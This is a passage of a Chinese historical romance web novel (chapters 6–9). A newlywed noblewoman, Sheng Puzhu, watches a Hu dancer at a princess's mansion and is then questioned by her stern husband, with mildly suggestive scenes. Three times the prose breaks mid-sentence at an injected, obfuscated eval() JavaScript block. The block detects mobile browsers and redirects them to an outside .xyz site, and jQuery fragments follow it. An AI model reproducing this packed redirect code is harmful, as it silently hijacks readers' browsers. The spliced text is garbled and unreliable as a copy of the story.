他想到昨日夜里,沐浴出来时,她也是这般,像是怕冷极了,小手胡乱摸着,摸到什么就扯了往自己身上盖,当然还包括他身上的锦衾。
好在屋中有炭盆,也不算太冷。
盛菩珠再次被热醒,已经是辰时末了。
她先是困顿地揉着眼睛,然后很大动静掀开锦衾坐了起来:“嬷嬷,什么时辰了,怎么不叫我?”
杜嬷嬷笑着挑开帐子:“长公主娘娘疼惜娘子,一早就寻了婢子吩咐,要娘子睡够时辰再起。”
盛菩珠懊恼道:“睡到辰时末,连早膳都省了,若是家里的妹妹们知道,还不知要怎么编排我。”
她一张小脸汗津津的,红润的唇抿了抿,尤其显得娇俏。
“嬷嬷夜里怕我冷着,还特意给我添了锦衾?”盛菩珠扯开身上盖的锦衾,发现是两床,难怪连夜里做梦都是被压得差点喘不上气。
杜嬷嬷一愣:“郎君与娘子同寝,婢子哪还敢随意进出,娘子莫不是睡糊涂了?”
不是嬷嬷加的,那她身上的被子是哪里来的?
盛菩珠愣住了,清凌凌的眸子从床上扫过,她有点后知后觉。
夜里好像觉得冷,抢了锦衾,后来又觉得热。
挣扎着双手抱住了一个冰凉凉的东西,根本不肯松开。
苍天啊!
她当真是好大的胆子。
盛菩珠摁了摁隐隐发烫的脸颊,清凌凌的目光在屋子里扫了一圈,小声问:“嬷嬷,郎君呢?”
杜嬷嬷佩服道:“郎君卯时就起了,先去后山练剑,后来见娘子睡着,就去陪娘娘用早膳了。”
“还好还好。”盛菩珠自言自语似的松了口气。
等到午膳。
“菩珠,没睡好?”长公主往她碗里夹了一片鸡汤煨出来的胡瓜。
盛菩珠一口米饭含在嘴里,差点咬到舌尖。
她有些不解地眨了眨眼睛,一双眼睛明亮有神:“睡……睡得挺好的。”
长公主瞥了谢执砚一眼,意有所指道:“夜里没冷到你吧,我的儿?”
盛菩珠终于被那片胡瓜给呛到,她轻咳了一声,头都要埋桌子上了。
根本不敢朝谢执砚那边看,而是用十分坚定的语气道:“母亲,儿媳不冷的。”
她有些无措的模样甚是可爱,眼神带着少女才有的天真,可身段玲珑高挑,笑起来时,那张绝美的脸上总给人一种生命力蓬勃的明媚。
长公主亲自给她添了一杯茶水,神色温柔:“吃慢些,若是累了,就早点回府里歇息。”
“天长观千好万好,也不是你这种娇滴滴小娘子该一直待的地方。”
盛菩珠点了点头:“娘娘想我,尽管让人回府中传唤。”
冬日昼短夜长。
从天长观离开时天色已然不早了。
盛菩珠坐在马车里估摸算时辰,大致能在申时前到靖国公府。
可就在这时候,马车忽然急停,她因着走神,身子一晃眼看就要跌出去。
“小心。”谢执砚下意识把人往怀里一带。
盛菩珠只觉得纤细的腰被一只宽大有力的手掌握住,她顺着掌心的力道,往后一摔,重重撞在他结实胸膛上。
他衣襟上金丝线绣的宝相花纹,微微刮擦过她的脸颊,滚烫鼻息就落在她白皙的侧颈上,就算是夫妻敦伦也未曾有过的亲密。
连他胸膛轻微的震动,她都能听得一清二楚。
盛菩珠只觉一侧脸颊滚烫,连头都不敢抬,她在外人面前总端着仪态万方的模样,从未有过这样狼狈的时候。
“我没事。”
“谢谢郎君。”她屏住呼吸,小声道。
“嗯。”
谢执砚抬手挑开车帘,冰冷的视线落在马车外:“怎么回事?”
“主子。”
“是宫里的人。”苍官也知自己恐怕是闯祸了,他低着头恭敬道。
“世子爷,奴家福禄。”
“圣人传了口谕,要世子爷即刻进宫一趟。”
谢执砚视线落在那面生的小太监身上,眉心微蹙:“福顺呢?”
小太监弯了弯腰,被那冰冷的目光压着,根本不敢抬头:“回世子,福顺昨儿夜里摔断了腿,奴家暂替了福顺的活儿。”
谢执砚抿唇不语,一眼望不到底的幽深视线。
直到那面生的小小太监再也承不出那冷凝的打量,膝盖一软,扑通一声跪了下去。
谢执砚这才收回目光:“我知道了。”
盛菩珠从未见过他这样锋芒的气势,有些紧张蜷了一下手心:“郎君这是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740106|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要入宫?”
谢执砚嗯了一声,看向她时依旧是温润端方的模样:“离宵禁还有两个时辰,现在入宫夜里可能是要留宿宫中。”
“所以夫人不必等我。”
盛菩珠闻言,差点控制不住自己欣喜雀跃的目光。
因为她只认真听进去四个字“留宿宫中”。
至于“可能”二字已经被她完全忽略。
轻轻咬了一下舌尖,就怕自己笑出声来,连忙拿起帕子装作略微有点失落,但是又控制得很好的模样,摁了摁唇角。
盛菩珠垂首道:“郎君公务要紧,妾身自当体贴。”
谢执砚垂下眼眸,看到她脸颊有一片细微的红痕,他恍惚记得是方才不小心撞他衣襟的绣纹处蹭的。
他眸色沉了沉,最终只淡淡道:“夫人好好休息。”
“嗯。”
“妾身一定。”盛菩珠伸手撩开帘子,直到男人骑马离去的背影彻底消失不见。
“嬷嬷,距离宵禁还有两个时辰有余,我们现在去琳琅阁。”盛菩珠乌黑眼睫眨了眨,眯着眼睛朝杜嬷嬷笑。
杜嬷嬷早知她的性子,根本拦不住,只能换个方式劝:“娘子还是要记得早些回府。”
“嬷嬷放一百个心,我一定早些回去。”盛菩珠想都没想答道。
结果她乘坐的马车还没到坊市,就被提前得到消息的端阳长公主给截胡在半路。
端阳长公主府。
盛菩珠被一位美艳的妇人拉着手,上上下下打量了一圈:“啧啧啧……”
“我的好菩珠,你果然是不一样了,你倒是与我说说,我那侄儿如何?”
端阳长公主意有所指眨了眨眼睛。
盛菩珠知道端阳长公主性子素来大胆,自从六年前驸马暴毙离世,这位圣人最小的幼妹,就像是换了一个人。
她仗着圣人和太后的宠爱,短短六年而已,大燕国要说最放荡不羁的公主是谁,端阳长公主排第二,就没有人敢排第一。
盛菩珠只当听不懂端阳话中的深意,笑道:“不知娘娘喊我来,有何吩咐。”
端阳气得去拧她:“有事求我时,唤我姐姐,眼下无事倒是喊起‘娘娘’来了?”
盛菩珠笑得倒在她怀里:“还有两个时辰我就得回家去,你若再调侃我,我现在就走了。”
端阳这才拉住她:“好菩珠,你别走。”
“我不过是得了样好东西,总不枉我们好姐妹的情分。”
盛菩珠顿时来了兴致。
端阳意有所指道:“你那琳琅阁不是许久不曾出新花样的首饰了,前几日我得了一个胡旋舞跳得极好的胡族少年,总不能忘了你。”
盛菩珠偏头看了一眼更漏:“看胡旋,免不了要吃酒,等吃了酒我回去就迟了。”
端阳摆摆手:“你家那夫郎每回进宫,哪次不是要被太后娘娘留宿一两日才肯放行。”
“你就别管宵禁了,大胆放心在我府上住一晚,明日回府前,还能顺道去琳琅阁看看。”
“我的好菩珠,你只管放一百个心,执砚他出不来的。”
盛菩珠本还犹豫,可是端阳长公主这样笃定的语气。
她微蹙的眉心渐渐松开,面颊染着一层浅浅的光晕,腼腆笑了一下:“那我就恭敬不如从命,叨扰娘娘一晚。”
7. 第 7 章
鼓点骤如嘈嘈急雨,金铃声似珠落玉盘。
少年足尖点地,胭脂红的窄袖胡服在檀板声中如花绽开,露出一截劲瘦的蜜腰。
盛菩珠姿势慵懒倚在围榻上,秀白指尖无意识摩挲着团扇的竹柄。
隔着一层薄纱,倚坐在另侧的端阳长公主就显得随意多了,她身边候着数个衣裳华丽的俊美郎君,有端着瓜果点心的,也有小心跪候在长几前焚香煮茶。
鼓声渐急,胡族少年衣袂翻飞,几缕发丝贴在汗湿的脸颊上,高鼻深目,嵌着一双琉璃蓝的瞳眸,纤长高挑的身姿透着不羁的野性。
满室灯烛如昼,本就薄如纱雾的胡服下,隐约能瞧见少年结实的胸膛肌理,汗水浸透衣料,连蜜色皮肤下每一寸骨骼走势都一清二楚。
“咚咚……”
檀板急促拍了两下,少年一个旋身忽地折腰仰面,鸦青色长发铺散开,柔身跪倒在盛菩珠围榻前的波斯毯上,眯着一双猫儿似的眼瞳,带着有些刻意的讨好。
“哈哈哈哈……”
“菩珠我的乖乖,雉奴这是喜欢你呢。”端阳长公主放声大笑,带着几分揶揄的视线在那胡族少年身上一转,单手挑开隔帘,眼底的兴奋都快掩饰不住了。
盛菩珠看似漫不经心摇了一下手里的团扇,杏眸扫过少年腰间缀着的银铃,微微一笑:“这样好颜色的少年,若放在琳琅阁当差,定是能招揽生意,只怕娘娘不舍忍痛割爱。”
端阳长公主不正经眨了眨眼睛:“只放在琳琅阁,你这孩子可真会暴殄天物。”
她蓦地话锋一转,意有所指道:“你平日就是个珠玉脑袋,再俊俏的郎君在你眼里最多当个金玉饰品的陪衬,这满长安城的郎君,能有几人入你的眼,亏得是我那姐姐做了一桩好姻缘。”
“啧啧啧……”
“不过我那好外甥既已归家,新婚夫妻又是久旷两年,想必夜里有的是力气和……”
她话还没说完,就被盛菩珠捂住了嘴。
“公主娘娘您大人有大量,就饶过我吧。”
“我那郎君。”
盛菩珠声音微微一凝:“您又不是不知他是怎样克己复礼之人。”
她话虽这样说,也不知想到什么,脸颊渐渐漫上一层胭脂似的红润,丢了团扇从房桌上端起琉璃盏,仰头喝了一大口葡萄酒,半透明的酒液沾在她唇上,泛着诱人的光色。
端阳长公主不以为意笑了笑,目光落在那张明显被滋润得比花更娇艳的小脸上,用只有两人能听清的声音调侃:“克己复礼如何,端方君子又如何,执砚他可是武将。”
武将又怎么样。
除了身形高挑,但行事却是那种手起刀落的利落,力道更不知收敛,再好看令人垂涎的身材,一旦被他压在榻上连半分都动弹不得,只能被迫承受那些不契合时。
盛菩珠想到这些,有些懊恼抿了抿唇,身体却诚实地抖了一下,异样的感觉从心底漫上来。
她虽说不上喜欢,但也说不上抗拒,然而那种从灵魂深处传来的饱胀感,像是已经刻在了她每一寸皮肤上,只要一记起。
就会想起他顶着那样一张温润端方的脸,明明是比文臣更清隽性冷的模样,偏偏做那事的时候,就如将军巡视疆土,只有势如破竹的降服。
“咳。”盛菩珠轻咳一声,带着这种异样,她轻轻咬了下舌尖,紫红色的酒液顺着喉咙滑下,再对上端阳长公主那别有深意的眼神,莫名觉得花厅内空气都变得炙热。
她重新捡起团扇在脸颊边扇了扇,借着扇面的遮挡,睁着一双圆润的杏眼无辜道:“我觉得屋里的炭火有些热了,娘娘不如让人撤走一些?”
端阳长公主哼了哼,歪头瞥向她:“可惜我们菩珠生得这样貌美的小女郎,却不是一个会疼人的。”
“你冬日穿得厚实,可别忘了本宫的雉奴只穿了薄薄的胡服,我可舍不得把这样俊的少年郎君给冻坏了。”
“来人,快给世子夫人送些冰来。”
盛菩珠饮了酒,性子自然也就外放不少,没了她在外时喜欢端着的仪态,而是软绵绵趴在端阳长公主怀里,很认真道:“那娘娘就莫要把雉奴给我了,我惯不会疼人,琳琅阁若添新人,阁里的小郎君和小娘子们又得说我厚此薄彼。”
端阳长公主扑哧一笑:“罢了罢了,我不逗你。”
“若真把雉奴给你,那还了得,不说我那好姐姐寿康要把我的头拧下来,就算是执砚那冷若冰霜却记仇的性子,我这把老骨头可吃不消。”
盛菩珠垂了眼帘,琉璃杯里添了冰,冷凝的水珠从杯壁上滚下来,润湿了她发烫的手掌心。
这股凉意,终于让她有些昏沉的小脑袋,多了少许的清醒。
她如呢喃一般,点了点头,认同道:“我也吃不消。”
“啧,果真的醉了。”
端阳长公主抬了抬下巴朝身边人示意:“去把世子夫人常住的那间屋子收拾出来,醒酒汤也备上,再让人去前厅把杜嬷嬷唤来贴身伺候。”
“是。”有人恭敬退下,也有人立刻补上长公主身旁空出的位置。
雉奴安静匍匐跪在地上,腰间银铃随着他的呼吸轻轻地响,披散的长发垂至脚踝,就像是被人从小驯养得讨喜的兽崽。
端阳长公主俯身,捻一起雉奴脸颊边一缕发丝,微抬了下眼:“这回你总该死心了吧?”
“是。”雉奴几乎把身体贴在波地毯上,是谦卑恭敬的示弱。
她摆了摆手,准备叫花厅里的人都退下,可是忽然眉心拧了一下,有些不满问:“方才去喊杜嬷嬷的人,怎么还没回来?”
“娘娘,不好了。”
恰在这时候,一个神情十分忐忑的嬷嬷从外边快步小跑进来。
她两条腿都在抖,勉强站稳:“靖国公府世子来了,就在公主府门外候着,杜嬷嬷和世子夫人的两个贴身婢女都已经被世子的人喊走了。”
端阳长公主暗道糟糕,连那点恍惚的酒意都醒了大半,她吓得站起来连声吩咐:“先给世子夫人喂些醒酒汤下去。”
“熏香呢?加点薄荷艾草叶进去,把夫人身上的酒气给熏一熏。”
盛菩珠有些懵懵地喝下一碗醒酒汤,她晃了晃发沉的脑袋:“娘娘怎么了?”
“这么早就散了?”
她又眯着眼睛去看更漏,皱了皱眉,依旧有些不太明白:“瞧着还未到宵禁的时辰,若是马车行得快些,我应该是赶得及回府。”
端阳长公主都快诚心念佛祖菩萨了,她勉强笑了一下,亲自拿过雪白的狐大氅给盛菩珠裹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740107|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,很果断地把她往外推了推:“好孩子,快回家去吧,你家那杀神杀来了,本宫实在搞不定。”
“你若酒醒了,可千万别怪我见死不救,我这也是自身难保。”
盛菩珠茫然地眨了眨眼睛,她觉得头有些晕,时间好像被拉得很长,任由周围的婢女簇拥着往外走。
她都快走到花厅外了,忽然又停下脚步回头,很不解地问:“娘娘,今日你怎么不送送我?”
端阳长公主心里道了一声祖宗,见雉奴正仰着头看她,可怜兮兮。
她也不知哪里来的勇气,想到事已至此,还不如搞一出大的,干脆朝雉奴一挥手:“你替本宫去送送世子夫人。”
“是。”
暮色渐沉,像是要把白皑皑的雪景给捣碎。
端阳长公主府门前,宫灯在风中摇曳,将门前兽首映得忽明忽暗。
盛菩珠意识还不算混沌,她扶着婢女的手还不忘问:“怎么不见杜嬷嬷和梨霜?”
“回世子夫人,方才嬷嬷来禀,说和梨霜姑娘在公主府外等候夫人。”
“哦,这样啊。”
盛菩珠揉了揉发烫的脸颊,等走到马车前,还不忘用很愉悦的声音朝婢女说:“今日的胡旋舞比起往日的都有趣,你等会子回去告诉长公主娘娘,若下次约我,最好是能早些。”
“是,奴婢这就去回禀长公主。”
杜嬷嬷几人听到盛菩珠和长公主婢女的对话,吓得脸色青白交替。
她们想阻止自家主子胡言乱语,奈何被那冷厉的气息压着,连往前走一步都觉得苦难。
盛菩珠根本没有这方面的自知,看着近在咫尺的车辕,脚步有些踉跄要踩上去。
她才迈了一步,结果绊了裙摆,整个人一个趔趄眼看就要摔在雪地里。
“小心。”杜嬷嬷只来得及惊呼。
玄色的车帘无声掀起。
男人探出身,骨节分明的手带从未见过的凌厉,宽阔掌心稳稳托住她往后倒的腰肢。
盛菩珠醉眼迷蒙地抬头,正好对上男人一双漆黑平静的寒眸。
“郎……郎君?”她吓得脸一白,活脱脱见了鬼的模样。
接着就听到谢执砚冰冷的声音:“夫人玩得可尽兴?”
他半张脸都隐在夜晚的阴影中,唯有朦胧的烛火裹他越发显得清冷锐利的侧脸轮廓。
盛菩珠张了张嘴,还没有反应过来怎么回事,就见谢执砚眸光忽然一沉,直直朝她身后压下去。
她本能顺着他的目光往后看。
她看到了什么?
啊!
……
盛菩珠这一刻,把她这一辈子听过的脏话都想了一遍。
最后只剩一声长叹。
要死了!!!雉奴怎么也跟来了?
还穿得那样清凉露骨!她就算有一百张嘴也解释不清啊。
“郎君,你听我解释。”盛菩珠浑身僵冷,根本不敢看他的眼睛。
心底莫名升起害怕的情绪,她本能往后退,然而后腰被一只手轻易禁锢住,动不了分毫。
她今夜可能要惨死在端阳长公主府门外了。
盛菩珠其实很想换个体面点的死法,哪怕是死韫玉堂的床上,也比这样的修罗场好啊。
8. 第 8 章
“解释什么?”谢执砚垂眸看她,平静的声音里有种风雨欲来的严肃。
盛菩珠顶着一张酡红的小脸,可怜巴巴眨了眨眼睛:“长公主只是让雉奴送送我,郎君千万别误会。”
谢执砚高深莫测抿了一下唇,他明明什么都没说,可被他这样不置一词凝着,就给人一种随时要大祸临头的错觉。
盛菩珠不安地扭了一下腰,又伸手去扯他的袖摆:“天冷,我想回去了。”
此刻她只想迅速逃离这个把她架在火上烤的地方,她想先示弱,可世家贵女的教养偏偏在此刻作祟,到底也只是伸出纤细的手指勾住男人绣着繁复花纹的袖口,轻轻晃了两下。
瞧着是在撒娇,只可惜表情实在是过于心虚,又是那样一张漂亮的小脸,那点情绪全都成了情不情愿的谄媚。
不过显然,谢执砚并不吃她这一套。
他开口了,沉冷的声音低而缓慢。
“雉奴?”
“倒是好名字。”
盛菩珠悬着的心霎时一紧,觉得他要开始找茬了。
支支吾吾半天,干巴巴来了句:“端阳长公主所赐的名字,既然郎君也觉得好,那应该是好的吧。”
“是吗?”谢执砚忽然松开箍在她腰上的掌心,抬手将车帘掀高,慢条斯理比了个请的手势。
这?
这真是不得了!
明摆着请她自投罗网呢。
盛菩珠恨不得转身就跑,奈何现下四面楚歌,她连眼尾余光都不敢往雉奴那边看,只得匆忙丢下一句话:“你们先退下吧,告诉端阳长公主我回去了,日后若有事就去靖国公府寻我。”
“是。”
凉风拂面,盛菩珠暗暗吸了一口气,抱着破釜沉舟的决心一头钻进马车。
车厢内,弥着一股幽沉的柏子香,唯有月光透过车窗,落在他沉金冷玉般的面部轮廓上。
盛菩珠屏息凝神找了个角落的位置坐下,她没忍住悄悄打量他,可惜谢执砚闭着眼睛,本就难以捉摸的情绪,这样更叫人提心吊胆。
马车摇晃,矮几上放着一盏已经凉透的茶水,和一本只翻了几页的书。
盛菩珠盯着茶水,她忽然觉得晕得厉害,人也软软地随着马车一晃一晃,醒酒汤好不容易压下去的醉意,再次卷土重来。
“夫人今日在端阳长公主府上做什么?”
盛菩珠正因为醉酒,恰是瞌睡连连的时候,听到有一个声音在耳边问她,想也没想就答了。
“唔?”
她勉强睁开眼帘,慢悠悠打了个哈欠,很诚实道:“还能做什么,不过是看人跳胡旋舞罢了。”
“好看吗?”那个声音不紧不慢问。
“雉奴跳舞当然好看,可惜长公主说我不是个会疼人的小娘子,不然就把……”盛菩珠话说一半,忽然觉得口干,舌尖舔了舔红润的唇,眸底似乎有水色在晃。
她真的好渴,便咕哝喊了一声:“梨霜……我要水。”
结果等了半天,盛菩珠也没看见梨霜,她终于失了耐心,又想喝水,干脆伸手端起矮几上的茶水,仰头一饮而尽。
一盏凉水下肚,昏沉的酒意好像也醒了几分。
盛菩珠抬手揉了一下眼睛,见谢执砚正蹙着眉心看她,只是眼底的情绪实在过于复杂,她一时不知他是冷漠还是恼怒。
“郎君?”
“我脸上有脏东西吗?”盛菩珠摸了一下脸颊,不明所以。
谢执砚盯着还被她握在手心里的茶盏,那杯水他之前喝过。
“郎君要喝水?”盛菩珠歪着头,万分惋惜道,“哎呀,这盏子我用过了,就不能给郎君再用。”
谢执砚张口欲言又止,目光沉沉笼着她,明知他不应该同一个醉鬼计较,但若就这样轻飘飘地揭过,那也实在是过于胡闹。
“我不渴。”他眼神深不见底,若无其事从她沾了水色的唇上掠过。
……
一刻钟后,马车在靖国公府门前停下。
杜嬷嬷和梨霜一左一右搀扶着盛菩珠,谢执砚就落在她身后不远不近跟着。
直到在韫玉堂前,他语调凉凉吩咐:“让小厨房煮醒酒汤,你们伺候夫人沐浴。”
杜嬷嬷大气不敢喘地点头。
盛菩珠累及了,由耐冬哄着喝了小半碗醒酒汤,人才泡进浴桶,就已经半昏睡过去。
金栗看杜嬷嬷神色不对,压了声音问:“嬷嬷这是怎么了?”
杜嬷嬷拍着心口,愁得整张脸都快皱一块了:“娘子今日恐怕是闯祸了。”
她把前因后果说了,又长长叹了一声:“郎君的性子瞧着就不是一个能被忽悠的人,娘子还胆大包天在端阳长公主府上看郎子跳胡旋,也不知等会酒醒,娘子要怎么解释。”
盛菩珠这一觉足足睡了小半个时辰,浴桶里的水都添了三回。
她眼睫眨了眨,缓缓睁开。
就见杜嬷嬷和四个婢女团团围着她,眼底的惊慌失措清晰可见。
“娘子总算是醒了。”杜嬷嬷道。
盛菩珠觉得头痛欲裂,等看清楚周围的环境,她有些不解地问:“我怎么在这里?不是应该在端阳长公主府上吗?”
“娘子果然吃酒就一定忘事。”杜嬷嬷拿了巾子,替她擦头发。
金栗点头,白着一张小脸接过话:“郎君从宫里归家发现娘子不在韫玉堂,派人来问。”
“奴婢不敢撒谎,只能说娘子去坊市买首饰,也不知郎君是怎么寻到娘子在端阳长公主府上。”
盛菩珠倒吸一口凉气:“所以我是被谢执砚接回府的?”
梨霜点头,露出一个比哭还难看的笑:“郎君送娘子回来后,直径去了书房。”
“他生气了?”盛菩珠心里咯噔一声。
几个婢女同时摇头:“郎君瞧着还算温和,不……不像是生气。”
“真的?”这话问出来,盛菩珠自己都不信。
就抱着这样忐忑的心情,直到黑沉沉的夜幕彻底吞尽大地。
博山炉里最后一缕苏合香将熄未熄,盛菩珠悄悄打了个哈欠,她困得恨不得现在就躺在床榻,闭眼天亮。
可惜杜嬷嬷几人都一致认为,她既然有错在先,那就要摆正道歉的态度。
这一等,都亥时末将近子时了。
“嬷嬷,你们都下去歇息吧,今日不必守夜。”
“郎君想必是不会回来的,毕竟都这个时辰了,就算是熬鹰也没这样熬的。”
盛菩珠让人只留一盏夜灯,浑身没骨头似的往床上一歪,心底长吁短叹,她弄不清谢执砚的性子,眼下就如同钝刀割肉叫人绝望。
她心不在焉想着,在快要睡着的时候。
“吱呀……”房门被推开,男人已经缓步绕过屏风走向里间。
“郎君?”盛菩珠一下子惊醒,拥着被子坐起来。
谢执砚缄默不语,只是走到榻前。
他解开腰上的蹀躞带,然后是外袍,他动作很慢,身上还带着夜露的寒意。
盛菩珠听着那窸窸窣窣解衣扣的声音,她身体没由来抖了抖,小心翼翼试探:“郎君在生气?”
谢执砚手中动作疑似顿了顿,他目光偏过去,隔着纱帐对上她一双模糊的眼睛。
“不曾。”他出奇冷静答道。
真的不生气?
盛菩珠悬了一晚上的心,终于稍微放松一些。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740108|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她暗暗感慨,就算是生得再俊逸的郎君,果然得大度些才能讨得女郎欢心,唇角不受控制弯了弯,她主动掀开帐子温柔道:“那郎君也早些安置吧,冬夜冷,明日还得早起。”
谢执砚视线慢慢落下,摇曳烛光落在她雪白透粉的脸颊上,是明眸善睐,更是占尽风流绝色。
屋中安静,只能听到彼此的呼吸声。
“夫人。”
“不若评价一下,端阳长公主府的胡旋舞如何?”
他微微俯身,居高临下凝着她,嗓音像是浸久了凉夜的寒冷,薄唇抿成一条冷厉的线。
四目相对,盛菩珠反应不及,因为过度震惊红润的唇微微张着。
他不是说不生气吗?
那为什么还问!
盛菩珠不可思议瞪圆了眼睛,本以为他那样好态度翻篇了的事情,没想到转眼就能秋后算账。
“什么胡旋舞?”她决定装傻。
“那雉奴跳的胡旋,夫人觉得如何?”谢执砚离她越来越近,骨节分明的手掌撑在她身体两侧。
他抬步跨上床,一条腿曲着,身上褪得只剩薄薄的单衣,身上明显沐浴不久的清冽气息,连带着内敛藏锋神色,就像山峦压向她。
连心脏都不受控制快速跳动。
盛菩珠偷偷觑他,那点假笑僵在脸上,她想往后躲,不料才刚有动作,就被他曲起的那条长腿一压,轻轻松松,她挣扎不了半分。
“我觉得不太行。”她谨慎又心虚地说。
“那夫人是见过更好的?”谢执砚眯了眯眼,眼眸漆黑。
“不不不……我没有。”盛菩珠都快把脑袋摇成拨浪鼓,她到底在说什么鬼话,明明这是第一次看郎子跳舞就被抓包了。
他平静看着她,也不催促,像有足够耐心等她解释。
盛菩珠把她这辈子能想到的悲伤事都想了一遍,终于憋红眼眶道:“我真的没有见过更好的了,郎君……你要相信我。”
“怎么相信?”谢执砚忽然就笑了,他慢慢直起身,眉眼在灯烛下浓烈像化开的水墨。
衣襟领口松开,依稀能看到锁骨下冷白的肌肤,从下颌到微凸的喉结,唇角勾起的阴影更是饶有兴味。
盛菩珠一阵心虚,又想表现得真诚些,只得老实道:“我以后不看胡旋舞。”
“不宵禁不归。”
“……”
她声音也越来越小,等到最后好似真的要哭出来一般。
谢执砚低头看她,目光落在她白皙微蜷的掌心上,他目光实在太有侵略性,盛菩珠指尖一抖像是被烫着一般。
“喜欢看胡旋舞?”他语气平静。
盛菩珠刚想张嘴,又听他忽然冷冷道:“不许撒谎。”
她吓得心底一抖,连脚尖都绷紧了:“因为好看。”
谢执砚目光是幽暗的,一寸寸从她表情上掠过,透着一种审视的磨人。
“有多好看?”
盛菩珠感觉被他气息包围喘不上气,醒酒汤压下的酒意加上睡意,她有些晕乎乎的,柔弱无骨的身体往前倾了倾,在犯迷糊的时候小嘴就快过脑子。
“我觉得还是没有郎君好看。”
“是吗?”谢执砚眉梢微挑,低头与她对视,像是在隐忍克制着。
他抬手瞬间,屋里的烛光熄灭。
黑暗中,盛菩珠扯了扯身上盖着的海棠红织金锦衾,她以为可以睡觉了,贝齿轻轻咬住唇,没有半点对危险的直觉。
下一瞬。
男人侵略的气息重重朝她压下,谢执砚再次摁住她,声音冰冷,却轻得像是暧昧的呢喃。
“那请夫人说说。”
“究竟好看在哪!”
9. 第 9 章
好看在哪?
盛菩珠一个激灵,睡意顿时散了个干净。
要现在说吗?
黑灯瞎火的,要她怎么夸。
“嗯?”他漫不经心哼了声,尾音拖得长长的。
盛菩珠半张脸都埋在攒金丝弹花软枕上,就算努力打起精神,也依旧像只困懒的猫儿。
她自然是觉得他生得好,不然当初家里给她张罗亲事,那厚厚的一册名单里,祖母问她喜欢哪个,她便笑着挑了相貌最郎艳独绝的他。
作为明德侯府盛家娇宠长大的女郎,平日都是别人夸赞她,她少有夸人的时候,何况还要当面夸。
盛菩珠只好拿出在家中哄长辈的那一套,用甜甜的声音说。
“郎君哪里都好看。”
“菩珠就没有见过咱们大燕国有容貌能胜过郎君的男子。”
她语调发软,散落的青丝滑过肩头,露出半截修长雪白的颈子,一双眼睛却眯了起来,眼看又要睡过去。
盛菩珠酒品很好,醉了酒从来都是不哭不闹,甚至会比清醒时更加乖巧,唯一不好的就是她醉酒容易忘事,一忘事又想睡觉,等次日睡醒,记起一些零星琐事的时候,又得暗自懊恼。
“是吗?”
“看来夫人见过不少容貌俊俏的郎君。”
黑暗中,谢执砚抬起墨般的眼眸,他声音清冷,修长手指慢条斯理摩挲过她已经快要闭上的眼皮。
“我……”盛菩珠呼吸轻滞,身子被他指尖突然落下的凉意冰得一抖,浴后清冽的柏子香混着澡豆清苦的气息弥散在账间,无端叫人心慌。
两片饱满如胭脂般的唇张了张,想否认的话全压在喉咙里,眼睫上方那片皮肤在冷意过后,渐渐变得滚烫,如同大火燎原。
她眼中水色轻晃,这回是彻底清醒。
动了动僵硬的身体,隔着帐子昏暗光线,勉强能看清他素来平静的眼眸,透着一股不动声色的威严。
“想清楚再说。”谢执砚单手撑在她耳侧,俯下身时衣襟松开,唯有胸膛轮廓隐约可见,肌理分明的肌肉线条随着呼吸微微起伏,像是蛰伏已经捕猎者,沉静却充满杀伤力。
他这样的态度,分明是要秋后算账,不打算轻易放过她。
盛菩珠暗自吸口气,只觉被逼得进退两难。
“……”
“屋里太黑了。”
“我什么都看不清。”
憋了许久,她最终憋出这么一句话来。
不过她求生欲还算很强,见谢执砚沉默,就伸出手去摸他的脸,想着这样摸一下,再配上惊为天人的表情,顺便夸几句好听的话,总能有法子糊弄过去。
谢执砚脸上依旧没什么情绪,就算是以禁锢的姿势,他也保持着君子之风。
只是当她柔软的指腹毫无预兆落在他紧绷的下颌时,就像是平静湖面有碎石散落,砸出一道道的荡漾的涟漪。
谢执砚侧首看她,目光晦涩。
视线从她的手腕,到凌乱散开的发丝,往下是一双在夜色中流光溢彩的眼睛,他并不反感那种触碰,反而不动声色配合往下放低身体。
“郎君鬓若刀裁,俊眼修眉……”
她每说一句,指尖就划过一个地方,是能把人溺死在其中的甜软温驯。口中哄人的语调,昨日她在天长观时与长辈说话也是这般,给人一种格外真诚的错觉。
谢执砚缄默着,任由那作怪的指尖从他眉眼抚过。
直到她纤细的指尖,无意间从他薄唇划过,而他正巧抿了一下唇。
“丹唇……”盛菩珠声音骤然卡壳,她感觉自己心跳变得奇快,男人微凉的唇贴着她温热的指尖,唇瓣呼出的气息,从指腹一路延向掌心。
冷与热的气息,随着他的呼吸起伏延绵。
“丹唇什么?”他嗓音略沉,忽然有了危险的意味。
